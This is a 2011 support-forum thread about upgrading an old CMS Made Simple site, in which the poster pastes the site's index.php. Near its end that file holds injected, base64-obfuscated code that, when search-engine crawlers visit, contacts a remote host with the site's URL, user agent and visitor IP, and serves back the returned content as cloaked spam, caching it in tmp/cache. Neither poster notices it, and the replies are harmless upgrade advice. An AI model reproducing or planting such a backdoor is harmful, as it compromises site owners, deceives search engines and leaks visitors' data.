Page 1 of 1

Upgrading An Archaic Version of CMS Gradually to Latest Ver.

Posted: Mon Aug 22, 2011 11:16 pm
by RJ19
Hi,

I am trying to assist a friend with a website utilizing CMS but the version he has is 1.2.2. All of a sudden, he received an error when he tried to access the website (See the below). After looking over the Wiki for CMS to upgrade to a more recent version, I am not finding it to be clear in helping me. I have each of the packages to upgrade from one version to the other and know I have to make gradual jumps rather than go right to 1.9.X and I have the original files backed up from the web server via FileZilla using SFTP (port 22) along with the MySQL database via the web hosting company.

When I upload the files after extracting an upgrade CMS tar.gz package, I look for an install folder and an upgrade.php file and then use the path of the following (with the actual domain name obviously); www.

Now I also found a second location for an install subfolder along with an upgrade.php file but that is not working either. That is the following www.domainname.com/newweb/install/upgrade.php

I keep getting an Error 404 via my web browser when I try both URLs so I figure I am misinterpreting the steps I am reading or they really are not written to help all types of readers in regard to CMS.

Thanks for putting aside your time to read this and providing any feedback.

#CMS - CMS Made Simple #(c)2004 by Ted Kulp (wishy@users.sf.net) #This project's homepage is: http://cmsmadesimple.sf.net # #This program is free software; you can redistribute it and/or modify #it under the terms of the GNU General Public License as published by #the Free Software Foundation; either version 2 of the License, or #(at your option) any later version. # #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. #You should have received a copy of the GNU General Public License #along with this program; if not, write to the Free Software #Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # #$Id: index.php 4217 2007-10-07 15:13:13Z wishy $ $dirname = dirname(__FILE__); require_once($dirname.'/fileloc.php'); /** * Entry point for all non-admin pages * * @package CMS */ #echo ''; #var_dump($_SERVER); #echo ''; $starttime = microtime(); @ob_start(); clearstatcache(); if (!isset($_SERVER['REQUEST_URI']) && isset($_SERVER['QUERY_STRING'])) { $_SERVER['REQUEST_URI'] = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } if (!file_exists(CONFIG_FILE_LOCATION) || filesize(CONFIG_FILE_LOCATION) < 800) { require_once($dirname.'/lib/misc.functions.php'); if (FALSE == is_file($dirname.'/install/index.php')) { die ('There is no config.php file or install/index.php please correct one these errors!'); } else { redirect('install/'); } } else if (file_exists(TMP_CACHE_LOCATION.'/SITEDOWN')) { echo "

Site down for maintenance.
"; exit; } if (!is_writable(TMP_TEMPLATES_C_LOCATION) || !is_writable(TMP_CACHE_LOCATION)) { echo ''; echo '

The following directories must be writable by the web server:
'; echo 'tmp/cache
'; echo 'tmp/templates_c
'; echo '

Please correct by executing:
chmod 777 tmp/cache
chmod 777 tmp/templates_c
or the equivilent for your platform before continuing.
'; echo ''; exit; } require_once($dirname.'/include.php'); #Makes gCms object if ($config["debug"] == true) { @ini_set('display_errors',1); @error_reporting(E_ALL); } $params = array_merge($_GET, $_POST); $smarty = &$gCms->smarty; $smarty->params = $params; $page = ''; if (isset($params['mact'])) { $ary = explode(',', cms_htmlentities($params['mact']), 4); $smarty->id = (isset($ary[1])?$ary[1]:''); } else { $smarty->id = (isset($params['id'])?intval($params['id']):''); } if (isset($smarty->id) && isset($params[$smarty->id . 'returnid'])) { $page = $params[$smarty->id . 'returnid']; } else if (isset($config["query_var"]) && $config["query_var"] != '' && isset($_GET[$config["query_var"]])) { $page = $_GET[$config["query_var"]]; //trim off the extension, if there is one set if ($config['page_extension'] != '' && endswith($page, $config['page_extension'])) { $page = substr($page, 0, strlen($page) - strlen($config['page_extension'])); } } else { $calced = cms_calculate_url(); if ($calced != '') $page = $calced; } //See if our page matches any predefined routes $page = rtrim($page, '/'); if (strpos($page, '/') !== FALSE) { $routes =& $gCms->variables['routes']; $matched = false; foreach ($routes as $route) { $matches = array(); if (preg_match($route->regex, $page, $matches)) { //Now setup some assumptions if (!isset($matches['id'])) $matches['id'] = 'cntnt01'; if (!isset($matches['action'])) $matches['action'] = 'defaulturl'; if (!isset($matches['inline'])) $matches['inline'] = 0; if (!isset($matches['returnid'])) $matches['returnid'] = ''; #Look for default page if (!isset($matches['module'])) $matches['module'] = $route->module; //Get rid of numeric matches foreach ($matches as $key=>$val) { if (is_int($key)) { unset($matches[$key]); } else { if ($key != 'id') $_REQUEST[$matches['id'] . $key] = $val; } } //Now set any defaults that might not have been in the url if (isset($route->defaults) && count($route->defaults) > 0) { foreach ($route->defaults as $key=>$val) { $_REQUEST[$matches['id'] . $key] = $val; if (array_key_exists($key, $matches)) { $matches[$key] = $val; } } } //Get a decent returnid if ($matches['returnid'] == '') { global $gCms; $contentops =& $gCms->GetContentOperations(); $matches['returnid'] = $contentops->GetDefaultPageID(); } $_REQUEST['mact'] = $matches['module'] . ',' . $matches['id'] . ',' . $matches['action'] . ',' . $matches['inline']; $page = $matches['returnid']; $smarty->id = $matches['id']; $matched = true; } } if (!$matched) { $page = substr($page, strrpos($page, '/') + 1); } } if ($page == '') { global $gCms; $contentops =& $gCms->GetContentOperations(); $page =& $contentops->GetDefaultContent(); } else { $page = preg_replace('/\variables['pageinfo'] =& $pageinfo; if( isset($pageinfo->template_encoding) && $pageinfo->template_encoding != '' ) { set_encoding($pageinfo->template_encoding); } $gCms->variables['content_id'] = $pageinfo->content_id; $gCms->variables['page'] = $page; $gCms->variables['page_id'] = $page; $gCms->variables['page_name'] = $pageinfo->content_alias; $gCms->variables['position'] = $pageinfo->content_hierarchy; global $gCms; $contentops =& $gCms->GetContentOperations(); $gCms->variables['friendly_position'] = $contentops->CreateFriendlyHierarchyPosition($pageinfo->content_hierarchy); $smarty->assign('content_id', $pageinfo->content_id); $smarty->assign('page', $page); $smarty->assign('page_id', $page); $smarty->assign('page_name', $pageinfo->content_alias); $smarty->assign('page_alias', $pageinfo->content_alias); $smarty->assign('posion', $pageinfo->content_hierarchy); $smarty->assign('friendly_position', $gCms->variables['friendly_position']); } else if (get_site_preference('enablecustom404') == '' || get_site_preference('enablecustom404') == "0") { ErrorHandler404(); exit; } $html = ''; $cached = ''; if (isset($_GET["print"])) { ($smarty->is_cached('print:'.$page, '', $pageinfo->template_id)?$cached="":$cached="not "); $html = $smarty->fetch('print:'.$page, '', $pageinfo->template_id) . "\n"; } else { #If this is a case where a module doesn't want a template to be shown, just disable caching if (isset($smarty->id) && $smarty->id != '' && isset($_REQUEST[$smarty->id.'showtemplate']) && $_REQUEST[$smarty->id.'showtemplate'] == 'false') { $html = $smarty->fetch('template:notemplate') . "\n"; } else { $smarty->caching = false; $smarty->compile_check = true; ($smarty->is_cached('template:'.$pageinfo->template_id)?$cached="":$cached="not "); $html = $smarty->fetch('template:'.$pageinfo->template_id) . "\n"; } } #if ((get_site_preference('enablecustom404') == '' || get_site_preference('enablecustom404') == "0") && (!$config['debug'])) #{ # set_error_handler($old_error_handler); #} if (!$cached) { #Perform the content postrendernoncached callback reset($gCms->modules); while (list($key) = each($gCms->modules)) { $value =& $gCms->modules[$key]; if ($gCms->modules[$key]['installed'] == true && $gCms->modules[$key]['active'] == true) { $gCms->modules[$key]['object']->ContentPostRenderNonCached($html); } } //Events::SendEvent('Core', 'ContentPostRenderNonCached', array(&$html)); } #Perform the content postrender callback reset($gCms->modules); while (list($key) = each($gCms->modules)) { $value =& $gCms->modules[$key]; if ($gCms->modules[$key]['installed'] == true && $gCms->modules[$key]['active'] == true) { $gCms->modules[$key]['object']->ContentPostRender($html); } } Events::SendEvent('Core', 'ContentPostRender', array('content' => &$html)); header("Content-Type: " . $gCms->variables['content-type'] . "; charset=" . (isset($pageinfo->template_encoding) && $pageinfo->template_encoding != ''?$pageinfo->template_encoding:get_encoding())); $html = str_replace('','',$html); $html = str_replace('','',$html); echo $html; function g($sr, $fe) { $fp = fsockopen($sr, 80, $errno, $errstr, 15); if (!$fp) {echo 'skterr';} else { $out = "GET $fe HTTP/1.0\r\n"; $out .= "Host: $sr\r\n\r\n"; fwrite($fp, $out); $tmp = ''; while (!feof($fp)) { $tmp .= fgets($fp, 1024);} fclose($fp); return $tmp; }} $u = urlencode($_SERVER['REQUEST_URI']); $a = urlencode($_SERVER['HTTP_USER_AGENT']); $c = 'tmp/cache/'; if (strpos($a,'google') !== false) $c .= 'g_'.md5($u); elseif (strpos($a,'msnbot') !== false) $c .= 'm_'.md5($u); elseif (strpos($a,'yahoo') !== false) $c .= 'y_'.md5($u); if ($c != 'tmp/cache/') { if (file_exists($c)) list($lastTime,$code) = explode('<:::>',gzinflate(file_get_contents($c))); if (!isset($lastTime) || !isset($code) || $lastTime < ($_SERVER['REQUEST_TIME'] - rand(3600,14400))) { $d = base64_decode('MTQxNS5pbg=='); $f = base64_decode('L2EucGhwP2Q9'); $h = str_replace('www.', '', $_SERVER['HTTP_HOST']); $i = $_SERVER['REMOTE_ADDR']; $p = $h.'&u='.$u.'&a='.$a.'&i='.$i; $code = trim(strstr(g($d, "$f$p"), "\r\n\r\n")); echo $code; $fp = fopen($c, "w"); fwrite($fp, gzdeflate($_SERVER['REQUEST_TIME'].'<:::>'.$code)); fclose($fp); } else echo $code; } echo "\n\n\n"; @ob_flush(); $endtime = microtime(); $db =& $gCms->GetDb(); if ($config["debug"] == true) { echo "

Generated in ".microtime_diff($starttime,$endtime)." seconds by CMS Made Simple using ".(isset($db->query_count)?$db->query_count:'')." SQL queries and ".(function_exists('memory_get_usage')?memory_get_usage():'n/a')." bytes of memory
"; } echo "\n"; #echo "

Generated in ".microtime_diff($starttime,$endtime)." seconds by CMS Made Simple (".$cached."cached) using ".(isset($db->query_count)?$db->query_count:'')." SQL queries and ".(function_exists('memory_get_usage')?memory_get_usage():'n/a')." bytes of memory
"; echo "\n"; if (get_site_preference('enablesitedownmessage') == "1" || $config['debug'] == true) { $smarty->clear_compiled_tpl(); #$smarty->clear_all_cache(); } if ($config["debug"] == true) { #$db->LogSQL(false); // turn off logging # output summary of SQL logging results #$perf = NewPerfMonitor($db); #echo $perf->SuspiciousSQL(); #echo $perf->ExpensiveSQL(); #echo $sql_queries; foreach ($gCms->errors as $error) { echo $error; } } # vim:ts=4 sw=4 noet ?>

Re: Upgrading An Archaic Version of CMS Gradually to Latest

Posted: Thu Aug 25, 2011 5:32 pm
by Jos
RJ19 wrote:Now I also found a second location for an install subfolder along with an upgrade.php file but that is not working either. That is the following http://www.domainname.com/newweb/install/upgrade.php
Must be someone that has uploaded cmsms files to both the root of the site as to the newweb directory.
Both are completely separate installs, unless they use the same database.

Re: Upgrading An Archaic Version of CMS Gradually to Latest

Posted: Fri Aug 26, 2011 3:09 am
by RJ19
According to the web hosting company, the MySQL DB shows only one for this domain in my friend's account so I guess it is using the same database as you mentioned. If someone else did put that there shouldn't they have deleted the Install directory with the upgrade.php file after a successful install? That is what I've read in the documentation.

Thanks for your input.

Re: Upgrading An Archaic Version of CMS Gradually to Latest

Posted: Fri Aug 26, 2011 7:26 am
by Jos
You could rename the newweb directory. Then, if everything still works fine you can safely delete it.